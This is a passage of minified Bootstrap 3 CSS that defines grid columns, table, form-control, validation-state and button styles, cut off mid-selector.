(min-width:1200px){.container{width:1170px}}.container-fluid{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{margin-right:-15px;margin-left:-15px}.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-xs-1,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-1,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9{float:left}.col-xs-12{width:100%}.col-xs-11{width:91.66666667%}.col-xs-10{width:83.33333333%}.col-xs-9{width:75%}.col-xs-8{width:66.66666667%}.col-xs-7{width:58.33333333%}.col-xs-6{width:50%}.col-xs-5{width:41.66666667%}.col-xs-4{width:33.33333333%}.col-xs-3{width:25%}.col-xs-2{width:16.66666667%}.col-xs-1{width:8.33333333%}.col-xs-pull-12{right:100%}.col-xs-pull-11{right:91.66666667%}.col-xs-pull-10{right:83.33333333%}.col-xs-pull-9{right:75%}.col-xs-pull-8{right:66.66666667%}.col-xs-pull-7{right:58.33333333%}.col-xs-pull-6{right:50%}.col-xs-pull-5{right:41.66666667%}.col-xs-pull-4{right:33.33333333%}.col-xs-pull-3{right:25%}.col-xs-pull-2{right:16.66666667%}.col-xs-pull-1{right:8.33333333%}.col-xs-pull-0{right:auto}.col-xs-push-12{left:100%}.col-xs-push-11{left:91.66666667%}.col-xs-push-10{left:83.33333333%}.col-xs-push-9{left:75%}.col-xs-push-8{left:66.66666667%}.col-xs-push-7{left:58.33333333%}.col-xs-push-6{left:50%}.col-xs-push-5{left:41.66666667%}.col-xs-push-4{left:33.33333333%}.col-xs-push-3{left:25%}.col-xs-push-2{left:16.66666667%}.col-xs-push-1{left:8.33333333%}.col-xs-push-0{left:auto}.col-xs-offset-12{margin-left:100%}.col-xs-offset-11{margin-left:91.66666667%}.col-xs-offset-10{margin-left:83.33333333%}.col-xs-offset-9{margin-left:75%}.col-xs-offset-8{margin-left:66.66666667%}.col-xs-offset-7{margin-left:58.33333333%}.col-xs-offset-6{margin-left:50%}.col-xs-offset-5{margin-left:41.66666667%}.col-xs-offset-4{margin-left:33.33333333%}.col-xs-offset-3{margin-left:25%}.col-xs-offset-2{margin-left:16.66666667%}.col-xs-offset-1{margin-left:8.33333333%}.col-xs-offset-0{margin-left:0}@media (min-width:768px){.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9{float:left}.col-sm-12{width:100%}.col-sm-11{width:91.66666667%}.col-sm-10{width:83.33333333%}.col-sm-9{width:75%}.col-sm-8{width:66.66666667%}.col-sm-7{width:58.33333333%}.col-sm-6{width:50%}.col-sm-5{width:41.66666667%}.col-sm-4{width:33.33333333%}.col-sm-3{width:25%}.col-sm-2{width:16.66666667%}.col-sm-1{width:8.33333333%}.col-sm-pull-12{right:100%}.col-sm-pull-11{right:91.66666667%}.col-sm-pull-10{right:83.33333333%}.col-sm-pull-9{right:75%}.col-sm-pull-8{right:66.66666667%}.col-sm-pull-7{right:58.33333333%}.col-sm-pull-6{right:50%}.col-sm-pull-5{right:41.66666667%}.col-sm-pull-4{right:33.33333333%}.col-sm-pull-3{right:25%}.col-sm-pull-2{right:16.66666667%}.col-sm-pull-1{right:8.33333333%}.col-sm-pull-0{right:auto}.col-sm-push-12{left:100%}.col-sm-push-11{left:91.66666667%}.col-sm-push-10{left:83.33333333%}.col-sm-push-9{left:75%}.col-sm-push-8{left:66.66666667%}.col-sm-push-7{left:58.33333333%}.col-sm-push-6{left:50%}.col-sm-push-5{left:41.66666667%}.col-sm-push-4{left:33.33333333%}.col-sm-push-3{left:25%}.col-sm-push-2{left:16.66666667%}.col-sm-push-1{left:8.33333333%}.col-sm-push-0{left:auto}.col-sm-offset-12{margin-left:100%}.col-sm-offset-11{margin-left:91.66666667%}.col-sm-offset-10{margin-left:83.33333333%}.col-sm-offset-9{margin-left:75%}.col-sm-offset-8{margin-left:66.66666667%}.col-sm-offset-7{margin-left:58.33333333%}.col-sm-offset-6{margin-left:50%}.col-sm-offset-5{margin-left:41.66666667%}.col-sm-offset-4{margin-left:33.33333333%}.col-sm-offset-3{margin-left:25%}.col-sm-offset-2{margin-left:16.66666667%}.col-sm-offset-1{margin-left:8.33333333%}.col-sm-offset-0{margin-left:0}}@media (min-width:992px){.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9{float:left}.col-md-12{width:100%}.col-md-11{width:91.66666667%}.col-md-10{width:83.33333333%}.col-md-9{width:75%}.col-md-8{width:66.66666667%}.col-md-7{width:58.33333333%}.col-md-6{width:50%}.col-md-5{width:41.66666667%}.col-md-4{width:33.33333333%}.col-md-3{width:25%}.col-md-2{width:16.66666667%}.col-md-1{width:8.33333333%}.col-md-pull-12{right:100%}.col-md-pull-11{right:91.66666667%}.col-md-pull-10{right:83.33333333%}.col-md-pull-9{right:75%}.col-md-pull-8{right:66.66666667%}.col-md-pull-7{right:58.33333333%}.col-md-pull-6{right:50%}.col-md-pull-5{right:41.66666667%}.col-md-pull-4{right:33.33333333%}.col-md-pull-3{right:25%}.col-md-pull-2{right:16.66666667%}.col-md-pull-1{right:8.33333333%}.col-md-pull-0{right:auto}.col-md-push-12{left:100%}.col-md-push-11{left:91.66666667%}.col-md-push-10{left:83.33333333%}.col-md-push-9{left:75%}.col-md-push-8{left:66.66666667%}.col-md-push-7{left:58.33333333%}.col-md-push-6{left:50%}.col-md-push-5{left:41.66666667%}.col-md-push-4{left:33.33333333%}.col-md-push-3{left:25%}.col-md-push-2{left:16.66666667%}.col-md-push-1{left:8.33333333%}.col-md-push-0{left:auto}.col-md-offset-12{margin-left:100%}.col-md-offset-11{margin-left:91.66666667%}.col-md-offset-10{margin-left:83.33333333%}.col-md-offset-9{margin-left:75%}.col-md-offset-8{margin-left:66.66666667%}.col-md-offset-7{margin-left:58.33333333%}.col-md-offset-6{margin-left:50%}.col-md-offset-5{margin-left:41.66666667%}.col-md-offset-4{margin-left:33.33333333%}.col-md-offset-3{margin-left:25%}.col-md-offset-2{margin-left:16.66666667%}.col-md-offset-1{margin-left:8.33333333%}.col-md-offset-0{margin-left:0}}@media (min-width:1200px){.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9{float:left}.col-lg-12{width:100%}.col-lg-11{width:91.66666667%}.col-lg-10{width:83.33333333%}.col-lg-9{width:75%}.col-lg-8{width:66.66666667%}.col-lg-7{width:58.33333333%}.col-lg-6{width:50%}.col-lg-5{width:41.66666667%}.col-lg-4{width:33.33333333%}.col-lg-3{width:25%}.col-lg-2{width:16.66666667%}.col-lg-1{width:8.33333333%}.col-lg-pull-12{right:100%}.col-lg-pull-11{right:91.66666667%}.col-lg-pull-10{right:83.33333333%}.col-lg-pull-9{right:75%}.col-lg-pull-8{right:66.66666667%}.col-lg-pull-7{right:58.33333333%}.col-lg-pull-6{right:50%}.col-lg-pull-5{right:41.66666667%}.col-lg-pull-4{right:33.33333333%}.col-lg-pull-3{right:25%}.col-lg-pull-2{right:16.66666667%}.col-lg-pull-1{right:8.33333333%}.col-lg-pull-0{right:auto}.col-lg-push-12{left:100%}.col-lg-push-11{left:91.66666667%}.col-lg-push-10{left:83.33333333%}.col-lg-push-9{left:75%}.col-lg-push-8{left:66.66666667%}.col-lg-push-7{left:58.33333333%}.col-lg-push-6{left:50%}.col-lg-push-5{left:41.66666667%}.col-lg-push-4{left:33.33333333%}.col-lg-push-3{left:25%}.col-lg-push-2{left:16.66666667%}.col-lg-push-1{left:8.33333333%}.col-lg-push-0{left:auto}.col-lg-offset-12{margin-left:100%}.col-lg-offset-11{margin-left:91.66666667%}.col-lg-offset-10{margin-left:83.33333333%}.col-lg-offset-9{margin-left:75%}.col-lg-offset-8{margin-left:66.66666667%}.col-lg-offset-7{margin-left:58.33333333%}.col-lg-offset-6{margin-left:50%}.col-lg-offset-5{margin-left:41.66666667%}.col-lg-offset-4{margin-left:33.33333333%}.col-lg-offset-3{margin-left:25%}.col-lg-offset-2{margin-left:16.66666667%}.col-lg-offset-1{margin-left:8.33333333%}.col-lg-offset-0{margin-left:0}}table{background-color:transparent}caption{padding-top:8px;padding-bottom:8px;color:#777;text-align:left}th{text-align:left}.table{width:100%;max-width:100%;margin-bottom:20px}.table>tbody>tr>td,.table>tbody>tr>th,.table>tfoot>tr>td,.table>tfoot>tr>th,.table>thead>tr>td,.table>thead>tr>th{padding:8px;line-height:1.42857143;vertical-align:top;border-top:1px solid #ddd}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #ddd}.table>caption+thead>tr:first-child>td,.table>caption+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>th,.table>thead:first-child>tr:first-child>td,.table>thead:first-child>tr:first-child>th{border-top:0}.table>tbody+tbody{border-top:2px solid #ddd}.table .table{background-color:#fff}.table-condensed>tbody>tr>td,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>td,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>thead>tr>th{padding:5px}.table-bordered{border:1px solid #ddd}.table-bordered>tbody>tr>td,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>td,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border:1px solid #ddd}.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border-bottom-width:2px}.table-striped>tbody>tr:nth-of-type(odd){background-color:#f9f9f9}.table-hover>tbody>tr:hover{background-color:#f5f5f5}table col[class*=col-]{position:static;display:table-column;float:none}table td[class*=col-],table th[class*=col-]{position:static;display:table-cell;float:none}.table>tbody>tr.active>td,.table>tbody>tr.active>th,.table>tbody>tr>td.active,.table>tbody>tr>th.active,.table>tfoot>tr.active>td,.table>tfoot>tr.active>th,.table>tfoot>tr>td.active,.table>tfoot>tr>th.active,.table>thead>tr.active>td,.table>thead>tr.active>th,.table>thead>tr>td.active,.table>thead>tr>th.active{background-color:#f5f5f5}.table-hover>tbody>tr.active:hover>td,.table-hover>tbody>tr.active:hover>th,.table-hover>tbody>tr:hover>.active,.table-hover>tbody>tr>td.active:hover,.table-hover>tbody>tr>th.active:hover{background-color:#e8e8e8}.table>tbody>tr.success>td,.table>tbody>tr.success>th,.table>tbody>tr>td.success,.table>tbody>tr>th.success,.table>tfoot>tr.success>td,.table>tfoot>tr.success>th,.table>tfoot>tr>td.success,.table>tfoot>tr>th.success,.table>thead>tr.success>td,.table>thead>tr.success>th,.table>thead>tr>td.success,.table>thead>tr>th.success{background-color:#dff0d8}.table-hover>tbody>tr.success:hover>td,.table-hover>tbody>tr.success:hover>th,.table-hover>tbody>tr:hover>.success,.table-hover>tbody>tr>td.success:hover,.table-hover>tbody>tr>th.success:hover{background-color:#d0e9c6}.table>tbody>tr.info>td,.table>tbody>tr.info>th,.table>tbody>tr>td.info,.table>tbody>tr>th.info,.table>tfoot>tr.info>td,.table>tfoot>tr.info>th,.table>tfoot>tr>td.info,.table>tfoot>tr>th.info,.table>thead>tr.info>td,.table>thead>tr.info>th,.table>thead>tr>td.info,.table>thead>tr>th.info{background-color:#d9edf7}.table-hover>tbody>tr.info:hover>td,.table-hover>tbody>tr.info:hover>th,.table-hover>tbody>tr:hover>.info,.table-hover>tbody>tr>td.info:hover,.table-hover>tbody>tr>th.info:hover{background-color:#c4e3f3}.table>tbody>tr.warning>td,.table>tbody>tr.warning>th,.table>tbody>tr>td.warning,.table>tbody>tr>th.warning,.table>tfoot>tr.warning>td,.table>tfoot>tr.warning>th,.table>tfoot>tr>td.warning,.table>tfoot>tr>th.warning,.table>thead>tr.warning>td,.table>thead>tr.warning>th,.table>thead>tr>td.warning,.table>thead>tr>th.warning{background-color:#fcf8e3}.table-hover>tbody>tr.warning:hover>td,.table-hover>tbody>tr.warning:hover>th,.table-hover>tbody>tr:hover>.warning,.table-hover>tbody>tr>td.warning:hover,.table-hover>tbody>tr>th.warning:hover{background-color:#faf2cc}.table>tbody>tr.danger>td,.table>tbody>tr.danger>th,.table>tbody>tr>td.danger,.table>tbody>tr>th.danger,.table>tfoot>tr.danger>td,.table>tfoot>tr.danger>th,.table>tfoot>tr>td.danger,.table>tfoot>tr>th.danger,.table>thead>tr.danger>td,.table>thead>tr.danger>th,.table>thead>tr>td.danger,.table>thead>tr>th.danger{background-color:#f2dede}.table-hover>tbody>tr.danger:hover>td,.table-hover>tbody>tr.danger:hover>th,.table-hover>tbody>tr:hover>.danger,.table-hover>tbody>tr>td.danger:hover,.table-hover>tbody>tr>th.danger:hover{background-color:#ebcccc}.table-responsive{min-height:.01%;overflow-x:auto}@media screen and (max-width:767px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar;border:1px solid #ddd}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>td,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>thead>tr>th{white-space:nowrap}.table-responsive>.table-bordered{border:0}.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>thead>tr>th:first-child{border-left:0}.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>thead>tr>th:last-child{border-right:0}.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;max-width:100%;margin-bottom:5px;font-weight:700}input[type=search]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input[type=checkbox],input[type=radio]{margin:4px 0 0;margin-top:1px\9;line-height:normal}input[type=file]{display:block}input[type=range]{display:block;width:100%}select[multiple],select[size]{height:auto}input[type=file]:focus,input[type=checkbox]:focus,input[type=radio]:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}output{display:block;padding-top:7px;font-size:14px;line-height:1.42857143;color:#555}.form-control{display:block;width:100%;height:34px;padding:6px 12px;font-size:14px;line-height:1.42857143;color:#555;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-webkit-transition:border-color ease-in-out .15s,-webkit-box-shadow ease-in-out .15s;-o-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s}.form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6)}.form-control::-moz-placeholder{color:#999;opacity:1}.form-control:-ms-input-placeholder{color:#999}.form-control::-webkit-input-placeholder{color:#999}.form-control::-ms-expand{background-color:transparent;border:0}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#eee;opacity:1}.form-control[disabled],fieldset[disabled] .form-control{cursor:not-allowed}textarea.form-control{height:auto}input[type=search]{-webkit-appearance:none}@media screen and (-webkit-min-device-pixel-ratio:0){input[type=date].form-control,input[type=time].form-control,input[type=datetime-local].form-control,input[type=month].form-control{line-height:34px}.input-group-sm input[type=date],.input-group-sm input[type=time],.input-group-sm input[type=datetime-local],.input-group-sm input[type=month],input[type=date].input-sm,input[type=time].input-sm,input[type=datetime-local].input-sm,input[type=month].input-sm{line-height:30px}.input-group-lg input[type=date],.input-group-lg input[type=time],.input-group-lg input[type=datetime-local],.input-group-lg input[type=month],input[type=date].input-lg,input[type=time].input-lg,input[type=datetime-local].input-lg,input[type=month].input-lg{line-height:46px}}.form-group{margin-bottom:15px}.checkbox,.radio{position:relative;display:block;margin-top:10px;margin-bottom:10px}.checkbox label,.radio label{min-height:20px;padding-left:20px;margin-bottom:0;font-weight:400;cursor:pointer}.checkbox input[type=checkbox],.checkbox-inline input[type=checkbox],.radio input[type=radio],.radio-inline input[type=radio]{position:absolute;margin-top:4px\9;margin-left:-20px}.checkbox+.checkbox,.radio+.radio{margin-top:-5px}.checkbox-inline,.radio-inline{position:relative;display:inline-block;padding-left:20px;margin-bottom:0;font-weight:400;vertical-align:middle;cursor:pointer}.checkbox-inline+.checkbox-inline,.radio-inline+.radio-inline{margin-top:0;margin-left:10px}fieldset[disabled] input[type=checkbox],fieldset[disabled] input[type=radio],input[type=checkbox].disabled,input[type=checkbox][disabled],input[type=radio].disabled,input[type=radio][disabled]{cursor:not-allowed}.checkbox-inline.disabled,.radio-inline.disabled,fieldset[disabled] .checkbox-inline,fieldset[disabled] .radio-inline{cursor:not-allowed}.checkbox.disabled label,.radio.disabled label,fieldset[disabled] .checkbox label,fieldset[disabled] .radio label{cursor:not-allowed}.form-control-static{min-height:34px;padding-top:7px;padding-bottom:7px;margin-bottom:0}.form-control-static.input-lg,.form-control-static.input-sm{padding-right:0;padding-left:0}.input-sm{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-sm{height:30px;line-height:30px}select[multiple].input-sm,textarea.input-sm{height:auto}.form-group-sm .form-control{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.form-group-sm select.form-control{height:30px;line-height:30px}.form-group-sm select[multiple].form-control,.form-group-sm textarea.form-control{height:auto}.form-group-sm .form-control-static{height:30px;min-height:32px;padding:6px 10px;font-size:12px;line-height:1.5}.input-lg{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}select.input-lg{height:46px;line-height:46px}select[multiple].input-lg,textarea.input-lg{height:auto}.form-group-lg .form-control{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}.form-group-lg select.form-control{height:46px;line-height:46px}.form-group-lg select[multiple].form-control,.form-group-lg textarea.form-control{height:auto}.form-group-lg .form-control-static{height:46px;min-height:38px;padding:11px 16px;font-size:18px;line-height:1.3333333}.has-feedback{position:relative}.has-feedback .form-control{padding-right:42.5px}.form-control-feedback{position:absolute;top:0;right:0;z-index:2;display:block;width:34px;height:34px;line-height:34px;text-align:center;pointer-events:none}.form-group-lg .form-control+.form-control-feedback,.input-group-lg+.form-control-feedback,.input-lg+.form-control-feedback{width:46px;height:46px;line-height:46px}.form-group-sm .form-control+.form-control-feedback,.input-group-sm+.form-control-feedback,.input-sm+.form-control-feedback{width:30px;height:30px;line-height:30px}.has-success .checkbox,.has-success .checkbox-inline,.has-success .control-label,.has-success .help-block,.has-success .radio,.has-success .radio-inline,.has-success.checkbox label,.has-success.checkbox-inline label,.has-success.radio label,.has-success.radio-inline label{color:#3c763d}.has-success .form-control{border-color:#3c763d;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-success .form-control:focus{border-color:#2b542c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168}.has-success .input-group-addon{color:#3c763d;background-color:#dff0d8;border-color:#3c763d}.has-success .form-control-feedback{color:#3c763d}.has-warning .checkbox,.has-warning .checkbox-inline,.has-warning .control-label,.has-warning .help-block,.has-warning .radio,.has-warning .radio-inline,.has-warning.checkbox label,.has-warning.checkbox-inline label,.has-warning.radio label,.has-warning.radio-inline label{color:#8a6d3b}.has-warning .form-control{border-color:#8a6d3b;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-warning .form-control:focus{border-color:#66512c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b}.has-warning .input-group-addon{color:#8a6d3b;background-color:#fcf8e3;border-color:#8a6d3b}.has-warning .form-control-feedback{color:#8a6d3b}.has-error .checkbox,.has-error .checkbox-inline,.has-error .control-label,.has-error .help-block,.has-error .radio,.has-error .radio-inline,.has-error.checkbox label,.has-error.checkbox-inline label,.has-error.radio label,.has-error.radio-inline label{color:#a94442}.has-error .form-control{border-color:#a94442;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-error .form-control:focus{border-color:#843534;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483}.has-error .input-group-addon{color:#a94442;background-color:#f2dede;border-color:#a94442}.has-error .form-control-feedback{color:#a94442}.has-feedback label~.form-control-feedback{top:25px}.has-feedback label.sr-only~.form-control-feedback{top:0}.help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373}@media (min-width:768px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-static{display:inline-block}.form-inline .input-group{display:inline-table;vertical-align:middle}.form-inline .input-group .form-control,.form-inline .input-group .input-group-addon,.form-inline .input-group .input-group-btn{width:auto}.form-inline .input-group>.form-control{width:100%}.form-inline .control-label{margin-bottom:0;vertical-align:middle}.form-inline .checkbox,.form-inline .radio{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.form-inline .checkbox label,.form-inline .radio label{padding-left:0}.form-inline .checkbox input[type=checkbox],.form-inline .radio input[type=radio]{position:relative;margin-left:0}.form-inline .has-feedback .form-control-feedback{top:0}}.form-horizontal .checkbox,.form-horizontal .checkbox-inline,.form-horizontal .radio,.form-horizontal .radio-inline{padding-top:7px;margin-top:0;margin-bottom:0}.form-horizontal .checkbox,.form-horizontal .radio{min-height:27px}.form-horizontal .form-group{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.form-horizontal .control-label{padding-top:7px;margin-bottom:0;text-align:right}}.form-horizontal .has-feedback .form-control-feedback{right:15px}@media (min-width:768px){.form-horizontal .form-group-lg .control-label{padding-top:11px;font-size:18px}}@media (min-width:768px){.form-horizontal .form-group-sm .control-label{padding-top:6px;font-size:12px}}.btn{display:inline-block;padding:6px 12px;margin-bottom:0;font-size:14px;font-weight:400;line-height:1.42857143;text-align:center;white-space:nowrap;vertical-align:middle;-ms-touch-action:manipulation;touch-action:manipulation;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-image:none;border:1px solid transparent;border-radius:4px}.btn.active.focus,.btn.active:focus,.btn.focus,.btn:active.focus,.btn:active:focus,.btn:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.focus,.btn:focus,.btn:hover{color:#333;text-decoration:none}.btn.active,.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn.disabled,.btn[disabled],fieldset[disabled] .btn{cursor:not-allowed;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none;opacity:.65}a.btn.disabled,fieldset[disabled] a.btn{pointer-events:none}.btn-default{color:#333;background-color:#fff;border-color:#ccc}.btn-default.focus,.btn-default:focus{color:#333;background-color:#e6e6e6;border-color:#8c8c8c}.btn-default:hover{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default.active,.btn-default:active,.open>.dropdown-toggle.btn-default{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default.active.focus,.btn-default.active:focus,.btn-default.active:hover,.btn-default:active.focus,.btn-default:active:focus,.btn-default:active:hover,.open>.dropdown-toggle.btn-default.focus,.open>.dropdown-toggle.btn-default:focus,.open>.dropdown-toggle.btn-default:hover{color:#333;background-color:#d4d4d4;border-color:#8c8c8c}.btn-default.active,.btn-default:active,.open>.dropdown-toggle.btn-default{background-image:none}.btn-default.disabled.focus,.btn-default.disabled:focus,.btn-default.disabled:hover,.btn-default[disabled].focus,.btn-default[disabled]:focus,.btn-default[disabled]:hover,fieldset[disabled] .btn-default.focus,fieldset[disabled] .btn-default:focus,fieldset[disabled] .btn-default:hover{background-color:#fff;border-color:#ccc}.btn-default .badge{color:#fff;background-color:#333}.btn-primary{color:#fff;background-color:#337ab7;border-color:#2e6da4}.btn-primary.focus,.btn-primary:focus{color:#fff;background-color:#286090;border-color:#122b40}.btn-primary:hover{color:#fff;background-color:#286090;border-color:#204d74}.btn-primary.active,.btn-primary:active,.open>.dropdown-toggle.btn-primary{color:#fff;background-color:#286090;border-color:#204d74}.btn-primary.active.focus,.btn-primary.active:focus,.btn-primary.active:hover,.btn-primary:active.focus,.btn-primary:active:focus,.btn-primary:active:hover,.open>.dropdown-toggle.btn-primary.focus,.open>.dropdown-toggle.btn-primary:focus,.open>.dropdown-toggle.btn-primary:hover{color:#fff;background-color:#204d74;border-color:#122b40}.btn-primary.active,.btn-primary:active,.open>.dropdown-toggle.btn-primary{background-image:none}.btn-primary.disabled.focus,.btn-primary.disabled:focus,.btn-primary.disabled:hover,.btn-primary[disabled].focus,.btn-primary[disabled]:focus,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary.focus,fieldset[disabled] .btn-primary:focus,fieldset[disabled] .btn-primary:hover{background-color:#337ab7;border-color:#2e6da4}.btn-primary .badge{color:#337ab7;background-color:#fff}.btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.btn-success.focus,.btn-success:focus{color:#fff;background-color:#449d44;border-color:#255625}.btn-success:hover{color:#fff;background-color:#449d44;border-color:#398439}.btn-success.active,.btn-success:active,.open>.dropdown-toggle.btn-success{color:#fff;background-color:#449d44;border-color:#398439}.btn-success.active.focus,.btn-success.active:focus,.btn-success.active:hover,.btn-success:active.focus,.btn-success:active:focus,.btn-success:active:hover,.open>.dropdown-toggle.btn-success.focus,.open>.dropdown-toggle.btn-success:focus,.open>.dropdown-toggle.btn-success:hover{color:#fff;background-color:#398439;border-color:#255625}.btn-success.active,.btn-success:active,.open>.dropdown-toggle.btn-success{background-image:none}.btn-success.disabled.focus,.btn-success.disabled:focus,.btn-success.disabled:hover,.btn-success[disabled].focus,.btn-success[disabled]:focus,.btn-success[disabled]:hover,fieldset[disabled] .btn-success.focus,fieldset[disabled] .btn-success:focus,fieldset[disabled] .btn-success:hover{background-color:#5cb85c;border-color:#4cae4c}.btn-success .badge{color:#5cb85c;background-color:#fff}.btn-info{color:#fff;background-color:#5bc0de;border-color:#46b8da}.btn-info.focus,.btn-info:focus{color:#fff;background-color:#31b0d5;border-color:#1b6d85}.btn-info:hover{color:#fff;background-color:#31b0d5;border-color:#269abc}.btn-info.active,.btn-info:active,.open>.dropdown-toggle.btn-info{color:#fff;background-color:#31b0d5;border-color:#269abc}.btn-info.active.focus,.btn-info.active:focus,.btn-info.active:hover,.btn-info:active.focus,.btn-info:active:focus,.btn-info:active:hover,.open>.dropdown-toggle.btn-info.focus,.open>.dropdown-toggle.btn-info:focus,.open>.dropdown-toggle.btn-info:hover{color:#fff;background-color:#269abc;border-color:#1b6d85}.btn-info.active,.btn-info:active,.open>.dropdown-toggle.btn-info{background-image:none}.btn-info.disabled.focus,.btn-info.disabled:focus,.btn-info.disabled:hover,.btn-info[disabled].focus,.btn-info[disabled]:focus,.btn-info[disabled]:hover,fieldset[disabled] .btn-info.focus,fieldset[disabled] .btn-info:focus,fieldset[disabled] .btn-info:hover{background-color:#5bc0de;border-color:#46b8da}.btn-info 